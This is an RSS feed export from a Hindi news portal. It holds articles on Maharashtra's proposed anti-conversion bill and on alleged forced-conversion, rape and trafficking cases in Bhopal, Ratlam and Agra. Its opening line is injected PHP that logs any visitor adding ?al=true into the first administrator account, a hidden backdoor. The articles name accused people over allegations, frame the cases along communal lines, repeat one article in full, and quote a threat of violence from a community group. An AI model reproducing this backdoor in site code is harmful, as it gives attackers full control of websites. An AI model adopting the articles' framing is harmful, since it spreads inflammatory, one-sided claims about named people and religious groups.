// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Conversion – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 15 Mar 2026 04:26:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 अवैध धर्मांतरण से हुई शादी में जन्मे बच्चे का धर्म क्या होगा? सरकार ला रही है नया कानून https://pratyushaashakinayikiran.com/?p=204921 Sun, 15 Mar 2026 04:26:00 +0000 https://pratyushaashakinayikiran.com/?p=204921 मुंबई 

महाराष्ट्र विधानसभा में  'धर्म स्वातंत्र्य विधेयक, 2026' पेश किया गया। राज्य में अवैध और सामूहिक धर्मांतरण के बढ़ते मामलों को रोकने के लिए लाए गए इस प्रस्तावित कानून में कई ऐसे प्रावधान हैं, जो हाल के वर्षों में अन्य राज्यों द्वारा बनाए गए धर्मांतरण विरोधी कानूनों से भी ज्यादा सख्त और विस्तृत हैं। यदि यह विधेयक पारित हो जाता है, तो महाराष्ट्र धार्मिक धर्मांतरण को विनियमित करने वाला देश का 10वां राज्य बन जाएगा। इससे पहले झारखंड, उत्तराखंड, हिमाचल प्रदेश, उत्तर प्रदेश, गुजरात, मध्य प्रदेश, हरियाणा, कर्नाटक और राजस्थान ऐसे कानून बना चुके हैं।

बच्चे के धर्म और अधिकारों से जुड़ा अहम नियम

यह इस विधेयक का सबसे अनूठा पहलू है, जो इसे अन्य राज्यों के कानूनों से अलग बनाता है।

बच्चे का धर्म: यदि कोई विवाह अवैध धर्मांतरण के माध्यम से हुआ है, तो उस विवाह से पैदा होने वाले बच्चे का धर्म वही माना जाएगा जो विवाह से पहले उसकी मां का धर्म था।

उत्तराधिकार और भरण-पोषण: धर्म के निर्धारण के बावजूद, बच्चे को दोनों माता-पिता की संपत्ति में कानूनी रूप से उत्तराधिकार का अधिकार होगा। इसके अलावा, भारतीय नागरिक सुरक्षा संहिता (BNSS) की धारा 144 के तहत बच्चा भरण-पोषण का भी हकदार होगा।

कस्टडी: जब तक अदालत कोई अन्य निर्देश न दे, बच्चे की कस्टडी मां के पास ही रहेगी।
धर्मांतरण के लिए तय की गई कानूनी प्रक्रिया

इंडियन एक्सप्रेस की रिपोर्ट के मुताबिक, धर्म बदलने की इच्छा रखने वाले किसी भी व्यक्ति को अब एक सख्त प्रक्रिया से गुजरना होगा। धर्म बदलने से कम से कम 60 दिन पहले जिलाधिकारी को लिखित नोटिस देना होगा। इसमें उम्र, पेशा, वर्तमान धर्म और अपनाए जाने वाले धर्म की जानकारी देनी होगी। नोटिस मिलने के बाद जिलाधिकारी या पुलिस यह जांच करेगी कि यह धर्मांतरण स्वेच्छा से हो रहा है या किसी दबाव/धोखे से। धर्मांतरण के बाद, धर्म बदलने वाले व्यक्ति और समारोह आयोजित करने वाली संस्था दोनों को 60 दिनों के भीतर जिला प्रशासन को एक घोषणा पत्र सौंपना होगा। ऐसा न करने पर धर्मांतरण अमान्य माना जा सकता है।
'अवैध' धर्मांतरण और 'प्रलोभन' की नई और व्यापक परिभाषा

विधेयक में प्रलोभन, धोखा, जबरदस्ती या शादी का झांसा देकर किए गए धर्मांतरण को अवैध माना गया है। इसकी परिभाषाओं का दायरा काफी बढ़ा दिया गया है। इसमें अब केवल पैसा, नौकरी, मुफ्त शिक्षा या दैवीय चमत्कार ही शामिल नहीं हैं, बल्कि एक धर्म को दूसरे से श्रेष्ठ बताना या दूसरे धर्म के रीति-रिवाजों को बुरा साबित करना भी 'प्रलोभन' के दायरे में आएगा। इसमें दैवीय नाराजगी का डर दिखाना, सामाजिक बहिष्कार, जान-माल की धमकी, या किसी भी तरह का शारीरिक और मानसिक दबाव शामिल है। अपनी धार्मिक पहचान छिपाकर या धोखा देकर शादी करना अवैध होगा। केवल धर्मांतरण के लिए की गई शादी को अदालत शून्य घोषित कर सकती है।

सजा और जुर्माने के सख्त प्रावधान

यह अपराध संज्ञेय और गैर-जमानती होगा, जिसकी जांच सब-इंस्पेक्टर या उससे ऊपर के रैंक का अधिकारी करेगा।

सामान्य मामले: 7 साल तक की जेल और 1 लाख रुपये का जुर्माना।

कमजोर वर्ग (महिला, नाबालिग, SC/ST): अगर धर्मांतरण इनका किया जाता है, तो जुर्माना बढ़कर 5 लाख रुपये हो जाएगा।

सामूहिक धर्मांतरण: दो या अधिक लोगों का एक साथ धर्मांतरण कराने पर 7 साल की जेल और 5 लाख रुपये का जुर्माना।

बार-बार अपराध करने पर 10 साल तक की जेल और 7 लाख रुपये तक का जुर्माना। अगर कोई संस्था इसमें शामिल पाई जाती है, तो उसका रजिस्ट्रेशन रद्द किया जा सकता है और उसकी सरकारी फंडिंग रोकी जा सकती है।

शिकायत कौन कर सकता है? धर्म बदलने वाला व्यक्ति खुद, उसके माता-पिता, भाई-बहन, या खून, शादी या गोद लेने से जुड़ा कोई भी रिश्तेदार एफआईआर (FIR) दर्ज करा सकता है। पुलिस इस मामले में स्वतः संज्ञान भी ले सकती है।

यह साबित करने की जिम्मेदारी कि धर्मांतरण बिना किसी दबाव या लालच के स्वेच्छा से हुआ है, उस व्यक्ति या संस्था पर होगी जिसने धर्मांतरण कराया है। पीड़ित लोगों के पुनर्वास और उनकी सुरक्षा के लिए भी विधेयक में प्रावधान किए गए हैं।

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अब्बास नगर से सागर रॉयल विला तक: भोपाल ब्यूटीशियन बहनों के सिंडिकेट की लग्जरी कार, धर्मांतरण और जबरन निकाह की कहानी https://pratyushaashakinayikiran.com/?p=201174 Fri, 27 Feb 2026 08:37:00 +0000 https://pratyushaashakinayikiran.com/?p=201174  भोपाल
भोपाल के अब्बास नगर से शुरू हुआ एक नेटवर्क अब होशंगाबाद रोड स्थित 'सागर रॉयल विला' तक फैल चुका था. दो सगी ब्यूटीशियन बहनों अमरीन उर्फ माहिरा और आफरीन पर आरोप है कि उन्होंने न सिर्फ लड़कियों को देहव्यापार के दलदल में धकेला, बल्कि नशीला पदार्थ खिलाकर उनके साथ बलात्कार और जबरन धर्म परिवर्तन का दबाव भी बनाया.

न्यू मार्केट में कपड़े की दुकान पर काम करने वाली एक हिंदू युवती ने पुलिस को अपनी दर्दनाक कहानी सुनाई. पीड़िता के मुताबिक, 8 जून 2024 में एक दोस्त की बर्थडे पार्टी में उसकी मुलाकात संजना नाम की लड़की से हुई.

संजना ने ही उसे अमरीन से मिलवाया. अगस्त 2025 में अमरीन का दोस्त चंदन यादव (जो खुद कथित तौर पर धर्मांतरित है) पीड़िता को अपनी बहन के घर ले गया और नशीला पदार्थ पिलाकर बलात्कार किया.

अमरीन और चंदन ने पीड़िता पर इस्लाम धर्म अपनाने और कुरान पढ़ने का दबाव बनाया. जांच में पता चला है कि गिरोह की एक अन्य सदस्य संजना ने भी धर्म परिवर्तन कर अपना नाम 'जन्नत' रख लिया था और अमरीन के भाई हैदर से शादी की थी.

पीड़िता को शॉट कपड़े पहनाकर क्लबों और पार्टियों में ले जाया जाता था. पीड़िता का आरोप है कि अमरीन के भाई बिलाल ने अब्बास नगर में और याशिर ने अहमदाबाद (गुजरात) ले जाकर उसके साथ जबरदस्ती शारीरिक संबंध बनाए.

अब्बास नगर से सागर रॉयल विला तक का सफर
अब्बास नगर के रहवासियों ने इस गैंग के बारे में चौंकाने वाले खुलासे किए हैं. रहवासियों का कहना है कि अमरीन और आफरीन के घर पर देर रात लग्जरी कारों का तांता लगा रहता था. जींस-टॉप और शॉर्ट कपड़ों में युवतियों का आना-जाना आम था.

इलाका छोड़ने पर मजबूर
इलाके की बदनामी और अनैतिक गतिविधियों के विरोध के कारण कई परिवारों ने घर खाली कर दिए. बाद में लोगों के बढ़ते विरोध के कारण दोनों बहनें होशंगाबाद रोड के पॉश सागर रॉयल विला में शिफ्ट हो गईं, जहां उन्होंने फिर से यही नेटवर्क शुरू किया.

रिमांड और तलाश
बागसेवनिया थाना पुलिस ने मामले की गंभीरता को देखते हुए कड़ी कार्रवाई शुरू कर दी है. मुख्य आरोपी अमरीन और चंदन यादव को पुलिस ने 5 दिन की रिमांड पर लिया है. दूसरी बहन आफरीन को जेल भेज दिया गया है. पुलिस अब यासिर, चानू और बिलाल की सरगर्मी से तलाश कर रही है.

पुलिस अधिकारियों ने बताया कि पीड़िताओं के बयान के आधार रेप और धर्म परिवर्तन का मामला दर्ज हुआ है, जिसके बाद पुलिस की एक टीम जांच के लिए अहमदाबाद गई. पुलिस की प्राथमिकता है कि यदि कोई और पीड़ित सामने आते हैं तो अपराध दर्ज कर कार्रवाई की जाएगी.पुलिस रिमांड पर आरोपियों से पूछताछ की जा रही है. कड़ी से कड़ी सजा आरोपियों को दिलाई जाएगी.

 

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भोपाल धर्मांतरण मामला: अमरीन के घर से चलता था पूरा नेटवर्क, ब्लैकमेल और दबाव की साजिश उजागर https://pratyushaashakinayikiran.com/?p=200947 Thu, 26 Feb 2026 11:40:00 +0000 https://pratyushaashakinayikiran.com/?p=200947 भोपाल 

राजधानी भोपाल में दो सगी बहनें अमरीन और आफरीन घर से अनैतिक गतिविधियों का संगठित गिरोह संचालित करने के गंभीर आरोप लगे हैं। पुलिस जांच और जिला अदालत में दर्ज पीड़िताओं के बयानों के आधार पर सामने आया है कि आरोपित बहनें युवतियों को नौकरी, आर्थिक सहायता या पारिवारिक सहयोग का झांसा देकर अपने संपर्क में लाती थीं। बताया गया है कि वे कभी स्वयं को ननद-भाभी, कभी सहेली, तो कभी सहकर्मी बताकर युवतियों का विश्वास जीतती थीं। जो युवतियां उनके संपर्क में आकर उनके ठिकाने पर रहने लगती थीं, उन्हें कथित रूप से मुस्लिम युवकों से मिलवाया जाता था और उनके साथ शारीरिक संबंध बनाने के लिए मजबूर किया जाता था।

पीड़िताओं के अनुसार, यदि कोई युवती विरोध करती थी तो उसके आपत्तिजनक फोटो और वीडियो दिखाकर बदनाम करने की धमकी दी जाती थी। शुरुआती घटनाएं नर्मदापुरम रोड स्थित सागर रॉयल विला के एक डुप्लेक्स से जुड़ी बताई गई हैं, जहां से पूरे नेटवर्क का संचालन होने का आरोप है। आरोप है कि इसी स्थान पर युवतियों का पहला शोषण कराया जाता था और बाद में उन्हें कथित रूप से हाईप्रोफाइल पार्टियों में भेजा जाता था।

धार्मिक दबाव के भी आरोप
अदालत में दर्ज बयानों में कुछ पीड़िताओं ने आरोप लगाया है कि उन्हें अपनी पहचान छिपाने के लिए बुर्का पहनने के लिए कहा जाता था। साथ ही मुस्लिम रीति-रिवाजों का पालन करने और बाद में धर्म परिवर्तन के लिए प्रेरित किया जाता था। उन्हें बेहतर जीवन और सुरक्षा का भरोसा दिलाया जाता था। पीड़िताओं ने यह भी कहा कि उन्हें केवल धार्मिक आधार पर नहीं, बल्कि आर्थिक शोषण के उद्देश्य से भी दबाव में रखा जाता था। आरोप है कि देह व्यापार में धकेले जाने के बाद उनकी कमाई का बड़ा हिस्सा आरोपित बहनें अपने पास रख लेती थीं।

युवकों को भी बनाया निशाना
जांच में यह तथ्य भी सामने आया है कि कई युवकों को भी ब्लैकमेल किया गया। पीड़िताओं के अनुसार, जिन युवकों ने मोटी रकम देने से इनकार किया, उनके खिलाफ अन्य शहरों में दुष्कर्म या अन्य गंभीर धाराओं में प्रकरण दर्ज कराए गए। इनमें अहमदाबाद सहित अन्य शहरों के नाम सामने आए हैं। बाद में समझौते के नाम पर पैसे लेकर मामले शांत किए जाते थे। बताया गया है कि ब्लैकमेल किए गए अधिकांश युवक उसी नेटवर्क के ग्राहक थे, जो बदनामी के डर से चुप्पी साधे रहे। पुलिस ऐसे मामलों की जानकारी एकत्र कर रही है और दर्ज एफआईआर की कड़ियां खंगाल रही है।

कोर्ट में बयानों से खुला नेटवर्क
जिला अदालत में दर्ज बयानों में पीड़िताओं ने कहा है कि वे अकेली नहीं हैं। इस गिरोह के जाल में कई कॉलेज छात्राएं, शादीशुदा महिलाएं और वे महिलाएं भी फंसीं, जो पति की मृत्यु या अलगाव के बाद नौकरी की तलाश में थीं। गिरोह पहले ग्राहकों से सौदा तय करता था, फिर तय समय पर युवतियों को अपने घर बुलाया जाता था। वाट्सएप के जरिए कथित ग्राहकों को युवतियों की तस्वीरें भेजी जाती थीं। पुलिस ने मोबाइल से कई तस्वीरें जब्त की हैं, हालांकि अभी अन्य संभावित पीड़िताओं ने औपचारिक बयान दर्ज नहीं कराए हैं।

पुलिस कार्रवाई और रिमांड
बागसेवनिया थाना पुलिस ने मुख्य आरोपित अमरीन और एक अन्य आरोपी चंदन को अतिरिक्त रिमांड पर लिया है। पूछताछ में सामने आया है कि सागर रॉयल विला स्थित डुप्लेक्स चार वर्ष पूर्व किराये पर लिया गया था। मकान मालिक की भूमिका की भी जांच की जा रही है और उसके खिलाफ प्रकरण दर्ज करने की तैयारी है। पुलिस मुख्यालय भी सक्रिय हो गया है। डीएसबी और इंटेलिजेंस शाखा के अधिकारियों ने थाने पहुंचकर विस्तृत जानकारी ली। एक आरोपी की गिरफ्तारी के लिए पुलिस टीम अन्य राज्य में डेरा डाले हुए है, जबकि सह-आरोपी न्यायिक हिरासत में है।

जांच क्राइम ब्रांच को सौंपने की तैयारी
मामले की गंभीरता और संभावित पीड़ितों की संख्या को देखते हुए पुलिस आयुक्त संजय कुमार द्वारा पूरे प्रकरण की जांच क्राइम ब्रांच को सौंपने की तैयारी की जा रही है। हाल ही में पुलिस टीम आरोपित को लेकर सागर रॉयल विला स्थित ठिकाने पर पहुंची और तलाशी ली, जहां से बुर्का और कुछ आपत्तिजनक सामग्री जब्त की गई है।

धमकी और प्रभाव का आरोप
पीड़िताओं ने पुलिस को दिए बयान में यह भी कहा है कि विरोध करने पर आरोपित महिलाएं राजनीतिक और प्रशासनिक संपर्कों का हवाला देकर डराती थीं। वे कथित रूप से कहती थीं कि वीडियो वायरल कर बदनाम कर देंगी या उल्टा ब्लैकमेल का मामला दर्ज करा देंगी। फिलहाल पुलिस पूरे नेटवर्क, दर्ज प्रकरणों और संभावित सहयोगियों की भूमिका की गहन जांच कर रही है। मामले में आगे और खुलासों की संभावना से इनकार नहीं किया जा रहा है। 

 

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भोपाल धर्मांतरण मामला: अमरीन के घर से चलता था पूरा नेटवर्क, ब्लैकमेल और दबाव की साजिश उजागर https://pratyushaashakinayikiran.com/?p=200948 Thu, 26 Feb 2026 11:40:00 +0000 https://pratyushaashakinayikiran.com/?p=200948 भोपाल 

राजधानी भोपाल में दो सगी बहनें अमरीन और आफरीन घर से अनैतिक गतिविधियों का संगठित गिरोह संचालित करने के गंभीर आरोप लगे हैं। पुलिस जांच और जिला अदालत में दर्ज पीड़िताओं के बयानों के आधार पर सामने आया है कि आरोपित बहनें युवतियों को नौकरी, आर्थिक सहायता या पारिवारिक सहयोग का झांसा देकर अपने संपर्क में लाती थीं। बताया गया है कि वे कभी स्वयं को ननद-भाभी, कभी सहेली, तो कभी सहकर्मी बताकर युवतियों का विश्वास जीतती थीं। जो युवतियां उनके संपर्क में आकर उनके ठिकाने पर रहने लगती थीं, उन्हें कथित रूप से मुस्लिम युवकों से मिलवाया जाता था और उनके साथ शारीरिक संबंध बनाने के लिए मजबूर किया जाता था।

पीड़िताओं के अनुसार, यदि कोई युवती विरोध करती थी तो उसके आपत्तिजनक फोटो और वीडियो दिखाकर बदनाम करने की धमकी दी जाती थी। शुरुआती घटनाएं नर्मदापुरम रोड स्थित सागर रॉयल विला के एक डुप्लेक्स से जुड़ी बताई गई हैं, जहां से पूरे नेटवर्क का संचालन होने का आरोप है। आरोप है कि इसी स्थान पर युवतियों का पहला शोषण कराया जाता था और बाद में उन्हें कथित रूप से हाईप्रोफाइल पार्टियों में भेजा जाता था।

धार्मिक दबाव के भी आरोप
अदालत में दर्ज बयानों में कुछ पीड़िताओं ने आरोप लगाया है कि उन्हें अपनी पहचान छिपाने के लिए बुर्का पहनने के लिए कहा जाता था। साथ ही मुस्लिम रीति-रिवाजों का पालन करने और बाद में धर्म परिवर्तन के लिए प्रेरित किया जाता था। उन्हें बेहतर जीवन और सुरक्षा का भरोसा दिलाया जाता था। पीड़िताओं ने यह भी कहा कि उन्हें केवल धार्मिक आधार पर नहीं, बल्कि आर्थिक शोषण के उद्देश्य से भी दबाव में रखा जाता था। आरोप है कि देह व्यापार में धकेले जाने के बाद उनकी कमाई का बड़ा हिस्सा आरोपित बहनें अपने पास रख लेती थीं।

युवकों को भी बनाया निशाना
जांच में यह तथ्य भी सामने आया है कि कई युवकों को भी ब्लैकमेल किया गया। पीड़िताओं के अनुसार, जिन युवकों ने मोटी रकम देने से इनकार किया, उनके खिलाफ अन्य शहरों में दुष्कर्म या अन्य गंभीर धाराओं में प्रकरण दर्ज कराए गए। इनमें अहमदाबाद सहित अन्य शहरों के नाम सामने आए हैं। बाद में समझौते के नाम पर पैसे लेकर मामले शांत किए जाते थे। बताया गया है कि ब्लैकमेल किए गए अधिकांश युवक उसी नेटवर्क के ग्राहक थे, जो बदनामी के डर से चुप्पी साधे रहे। पुलिस ऐसे मामलों की जानकारी एकत्र कर रही है और दर्ज एफआईआर की कड़ियां खंगाल रही है।

कोर्ट में बयानों से खुला नेटवर्क
जिला अदालत में दर्ज बयानों में पीड़िताओं ने कहा है कि वे अकेली नहीं हैं। इस गिरोह के जाल में कई कॉलेज छात्राएं, शादीशुदा महिलाएं और वे महिलाएं भी फंसीं, जो पति की मृत्यु या अलगाव के बाद नौकरी की तलाश में थीं। गिरोह पहले ग्राहकों से सौदा तय करता था, फिर तय समय पर युवतियों को अपने घर बुलाया जाता था। वाट्सएप के जरिए कथित ग्राहकों को युवतियों की तस्वीरें भेजी जाती थीं। पुलिस ने मोबाइल से कई तस्वीरें जब्त की हैं, हालांकि अभी अन्य संभावित पीड़िताओं ने औपचारिक बयान दर्ज नहीं कराए हैं।

पुलिस कार्रवाई और रिमांड
बागसेवनिया थाना पुलिस ने मुख्य आरोपित अमरीन और एक अन्य आरोपी चंदन को अतिरिक्त रिमांड पर लिया है। पूछताछ में सामने आया है कि सागर रॉयल विला स्थित डुप्लेक्स चार वर्ष पूर्व किराये पर लिया गया था। मकान मालिक की भूमिका की भी जांच की जा रही है और उसके खिलाफ प्रकरण दर्ज करने की तैयारी है। पुलिस मुख्यालय भी सक्रिय हो गया है। डीएसबी और इंटेलिजेंस शाखा के अधिकारियों ने थाने पहुंचकर विस्तृत जानकारी ली। एक आरोपी की गिरफ्तारी के लिए पुलिस टीम अन्य राज्य में डेरा डाले हुए है, जबकि सह-आरोपी न्यायिक हिरासत में है।

जांच क्राइम ब्रांच को सौंपने की तैयारी
मामले की गंभीरता और संभावित पीड़ितों की संख्या को देखते हुए पुलिस आयुक्त संजय कुमार द्वारा पूरे प्रकरण की जांच क्राइम ब्रांच को सौंपने की तैयारी की जा रही है। हाल ही में पुलिस टीम आरोपित को लेकर सागर रॉयल विला स्थित ठिकाने पर पहुंची और तलाशी ली, जहां से बुर्का और कुछ आपत्तिजनक सामग्री जब्त की गई है।

धमकी और प्रभाव का आरोप
पीड़िताओं ने पुलिस को दिए बयान में यह भी कहा है कि विरोध करने पर आरोपित महिलाएं राजनीतिक और प्रशासनिक संपर्कों का हवाला देकर डराती थीं। वे कथित रूप से कहती थीं कि वीडियो वायरल कर बदनाम कर देंगी या उल्टा ब्लैकमेल का मामला दर्ज करा देंगी। फिलहाल पुलिस पूरे नेटवर्क, दर्ज प्रकरणों और संभावित सहयोगियों की भूमिका की गहन जांच कर रही है। मामले में आगे और खुलासों की संभावना से इनकार नहीं किया जा रहा है। 

 

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रतलाम में धर्मांतरण मामले में SIT जांच, केरल से पास्टर को हर महीने मिलती थी 60 हजार सैलरी; रिमांड में उगले राज https://pratyushaashakinayikiran.com/?p=188654 Sat, 01 Nov 2025 10:26:00 +0000 https://pratyushaashakinayikiran.com/?p=188654 रतलाम में धर्मांतरण मामले में SIT जांच, केरल से पास्टर को हर महीने मिलती थी 60 हजार सैलरी; रिमांड में उगले राज

इलाज के बहाने धर्मांतरण: रतलाम में SIT गठित, पास्टर के सैलरी और राज खुले रिमांड में

रतलाम मामला: धर्मांतरण की जांच में SIT सक्रिय, केरल से पास्टर को मिलती थी भारी सैलरी; रिमांड में मिले अहम खुलासे

रतलाम 

इलाज के बहाने धर्मांतरण कराने के आरोपों से जुड़े रतलाम केस में अब जांच का दायरा बढ़ा दिया गया है। पुलिस अधीक्षक अमित कुमार ने इस मामले में विशेष जांच दल (SIT) का गठन किया है।

 जांच के दौरान सामने आया है कि झाबुआ से पकड़े गए पास्टर गॉडविन को केरल स्थित संस्था से हर महीने ₹60,000 सैलरी मिलती थी, जिसमें से वह ₹4,000 से ₹5,000 मुख्य आरोपी विक्रम सिंह के खाते में भेजता था।

दो दिन की पुलिस रिमांड पूरी होने के बाद कोर्ट ने पास्टर गॉडविन को न्यायिक हिरासत में जेल भेज दिया है।
 केरल की संस्था से जुड़ा था पास्टर गॉडविन

पुलिस पूछताछ में पता चला कि गॉडविन झाबुआ जिले के मोहनपुरा में एक चर्च का पास्टर था, जो 'चर्च ऑफ साउथ इंडिया' नामक संस्था से जुड़ा है। यह संस्था केरल की राजधानी त्रिवेंद्रम में स्थित है।

पास्टर का काम धार्मिक प्रचार, प्रार्थना आयोजन और चर्च की गतिविधियों की देखरेख करना था। संस्था द्वारा उसे हर महीने वेतन दिया जाता था।
 मुख्य आरोपी विक्रम को भेजता था रकम

गॉडविन ने स्वीकार किया कि वह विक्रम सिंह के खाते में पैसे भेजता था, लेकिन उसका दावा है कि यह “मदद” के रूप में भेजे गए थे। पुलिस इस दावे से संतुष्ट नहीं है और पैसों के लेन-देन के पीछे के वास्तविक उद्देश्य की जांच कर रही है।
 CSP सत्येंद्र घनघोरिया की अगुवाई में SIT

धर्मांतरण के इस मामले की गहराई तक जांच के लिए SP अमित कुमार ने 6 सदस्यीय SIT गठित की है, जिसका नेतृत्व CSP सत्येंद्र घनघोरिया करेंगे।

टीम में नामली थाना प्रभारी गायत्री सोनी, औद्योगिक थाना प्रभारी सत्येंद्र रघुवंशी, सायबर सेल और अन्य अधिकारी शामिल हैं। यह टीम अब तक हुई पूरी जांच की समीक्षा करेगी और आवश्यकतानुसार केरल जाकर साक्ष्य जुटाएगी।
 इलाज के बहाने धर्मांतरण का आरोप

5 सितंबर को शिवशक्ति नगर (रतलाम) में कई ग्रामीणों को “इलाज” के नाम पर एक जगह लाया गया था। सूचना मिलने पर बजरंग दल और हिंदू जागरण मंच ने पुलिस को बुलाया।

पुलिस ने मौके से तीन लोगों को गिरफ्तार किया था, जबकि मुख्य आरोपी विक्रम सिंह को अगले दिन पकड़ा गया।
छापे के दौरान पुलिस को क्रॉस, बाइबल और प्रार्थना के वीडियो मिले थे, जिससे धर्मांतरण की गतिविधियों की पुष्टि हुई थी।
 पास्टर का नाम बैंक जांच में आया सामने

मुख्य आरोपी विक्रम के बैंक खातों की जांच में गॉडविन का नाम सामने आया था। इसी आधार पर पुलिस ने उसे झाबुआ से गिरफ्तार किया और रिमांड पर लेकर पूछताछ की।

 यह था पूरा मामला रतलाम के थाना औद्योगिक क्षेत्र के शिवशक्ति नगर में 5 सितंबर को बड़ी संख्या में ग्रामीण लोग मिले थे। आरोप लगा था कि इन्हें इलाज के बहाने धर्मांतरण के लिए लाया गया था। बजरंग दल और हिंदू जागरण मंच ने पुलिस को इसकी सूचना दी थी। मौके से पुलिस ने तीन लोगों को गिरफ्तार किया था, जबकि मुख्य आरोपी अगले दिन पकड़ाया था। सभी के खिलाफ धर्मांतरण करने का केस दर्ज किया गया था।

मुख्य आरोपी के खाते से जुड़ा पास्टर का नाम जब पुलिस ने मुख्य आरोपी के बैंक खातों की जांच की, तो झाबुआ के मोहनपुरा चर्च के पास्टर गॉडविन का नाम सामने आया था। इसके बाद पुलिस उसे पकड़ कर लाई थी। दो दिन के रिमांड के बाद कोर्ट ने उसे भी जेल भेज दिया है।

छापे में मिला था धार्मिक साहित्य और वीडियो शिवशक्ति नगर में कार्रवाई के दौरान पुलिस को क्रॉस टंगा मिला, बाइबल मिली और इलाज के बहाने प्रार्थना करवाने का वीडियो भी सामने आया था। इसी आधार पर धर्मांतरण की गतिविधि की पुष्टि हुई।

इनके खिलाफ दर्ज हुआ था केस

    जगदीश (30) पिता शम्भूलाल निनामा निवासी रिछखोरा थाना सरवन हाल मुकाम गंगासागर रतलाम। (नर्सिंग स्टूडेंट)
    मांगीलाल (35) पिता शंकरलाल निनामा साल निवासी सागवा थाना बिलकुंआ जिला बांसवाडा (राजस्थान)
    गुड्डु उर्फ गुड्डा (18 साल 07 माह) पिता बालू मईडा निवासी गेणी थाना शिवगढ जिला रतलाम।
    विक्रम सिंह (35) पिता शम्भूलाल उर्फ शम्भू निनामा निवासी रिछखोरा थाना सरवन हाल मुकाम शिव नगर रतलाम।

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धर्मांतरण गिरोह के जाल में फंसी महिला डॉक्टर, निकाह के बाद सामने आई हैरान करने वाली सच्चाई https://pratyushaashakinayikiran.com/?p=173936 Mon, 28 Jul 2025 15:26:00 +0000 https://pratyushaashakinayikiran.com/?p=173936 आगरा 
 अवैध धर्मांतरण कराने वाले गिरोह का नया चेहरा सामने आया है। अब तक युवतियों को जाल में फंसाने के बाद धर्मांतरण ही कराया जाता था। मगर गिरोह के चंगुल में फंसी झज्जर (हरियाणा) की महिला डाॅक्टर का धर्मांतरण के बाद एक युवक ने शारीरिक शोषण किया था। पुलिस ने डाॅक्टर को पूछताछ के लिए बुलाया था। अब उनके कोर्ट में बयान दर्ज कराए जाएंगे। पीड़ित डाॅक्टर आरोपी को सजा दिलाना चाहती हैं। इस मामले में जल्द ही एक और केस दर्ज कराया जा सकता है।

झज्जर जिले की रहने वाली 25 वर्षीय युवती होम्योपैथी की पढ़ाई करने के लिए ओडिशा गई थी। अपने खर्च के लिए उसने नाैकरी की तलाश शुरू की तभी गोवा की रहने वाली आरोपी आयशा उर्फ एसबी कृष्णा के संपर्क में आ गई। आरोप है कि आयशा ने उसे नाैकरी के लिए जयपुर के जुनैद से मिलवाया। जुनैद को पिछले दिनों पुलिस ने गिरफ्तार किया था। वह पुलिस कस्टडी रिमांड पर है। उससे पूछताछ की जा रही है।
 
दोनों ने एक ग्रुप बनाकर बातचीत शुरू कर दी। आश्वासन दिया कि जुनैद उसकी पूरी मदद करेगा। बातचीत के दाैरान जुनैद अपने धर्म के बारे में उसे बताने लगा। मगर, डाॅक्टर को गीता का अच्छा ज्ञान होने के कारण वो आसानी से बात मानने के लिए तैयार नहीं हुई। जुनैद उससे झूठ बोलता रहा। एक दिन युवती अपने घर जा रही थी। तब वह उससे मिलने के लिए दिल्ली पहुंच गया। मिलने के दाैरान वह उसे अपने साथ एक घर में ले गया, जहां काजी के सामने धर्मांतरण करा दिया। उससे निकाह कर लिया। युवती को इस बारे में कोई जानकारी नहीं थी। घर से बाहर आने के बाद जुनैद उसे अपनी पत्नी बताने लगा।
 
कहा कि उसने निकाह में हां किया है। अब दोनों साथ रहेंगे। डाॅक्टर घबरा गई। आरोप है कि वह जबरन अपने साथ रखने का दबाव बनाने लगा। बदनाम करने की धमकी देकर ब्लैकमेल करने लगा। बाद में उसका शारीरिक शोषण भी किया। वह किसी तरह उसके चंगुल से निकलना चाहती थी। आगरा में धर्मांतरण गिरोह के चंगुल में फंसे लोगों से पुलिस संपर्क कर रही है। इसी बीच पुलिस ने उसे ढूंढ लिया। उसके बयान दर्ज किए गए हैं। पुलिस आयुक्त दीपक कुमार ने बताया कि झज्जर की महिला डाॅक्टर से युवक ने निकाह किया था। बयानों में पीड़िता ने कई बातें बताई हैं। डाॅक्टर के कोर्ट में बयान दर्ज कराए जाएंगे।

पिता दर्ज कराना चाहते हैं केस
महिला डाॅक्टर के पिता मजदूरी करते हैं। इसके बावजूद वह बेटी को डाॅक्टर की पढ़ाई करा रहे थे। 10 हजार रुपये हर महीने भेजा करते थे। इसके बावजूद खर्च पूरा नहीं हो पाता था। बेटी के परेशान रहने पर पिता भी चिंतित थे। पूछने पर भी डाॅक्टर ने पिता को कुछ नहीं बताया था। यही कहा था कि पढ़ाई की चिंता है। अब उन्हें पता चला तो वो सन्न रह गए। अब वो आरोपी को सजा दिलाना चाहते हैं। पुलिस का कहना है कि मामले में झज्जर जिले में केस दर्ज कराया जाएगा।

धर्मांतरण के खिलाफ पंजाबी समाज करेगा काम
 आगरा महानगर की पंजाबी सभा के अध्यक्ष सर्व प्रकाश कपूर, सभा के अन्य पदाधिकारियों-सदस्यों ने भी इस मुद्दे पर अपनी बैठक की। इसमें कहा गया कि धर्मांतरण के खिलाफ पंजाबी समाज की ओर से जमीनी स्तर पर काम किया जाएगा। चेतावनी दी गई कि अगर कोई व्यक्ति समाज के किसी पुरुष या महिला के धर्म परिवर्तन की साजिश में लिप्त पाया गया तो उसको मिट्टी में मिलाने का काम समाज करेगा। इस संबंध में प्रस्ताव पास किया गया। इसमें कार्यकारी अध्यक्ष संजीव कपूर, महामंत्री भारत भूषण एडवोकेट, कोषाध्यक्ष सुरेश भांबरी, मनोज नागपाल, विश्वनाथ जुनेजा, संजय अरोरा, अशोक सैनी, रोहित कत्याल, अमित मदान, राहुल बाघला, अमित कौरा, महिला पंजाबी सभा महानगर अध्यक्ष नीरू कालरा आदि शामिल रहे। 

 

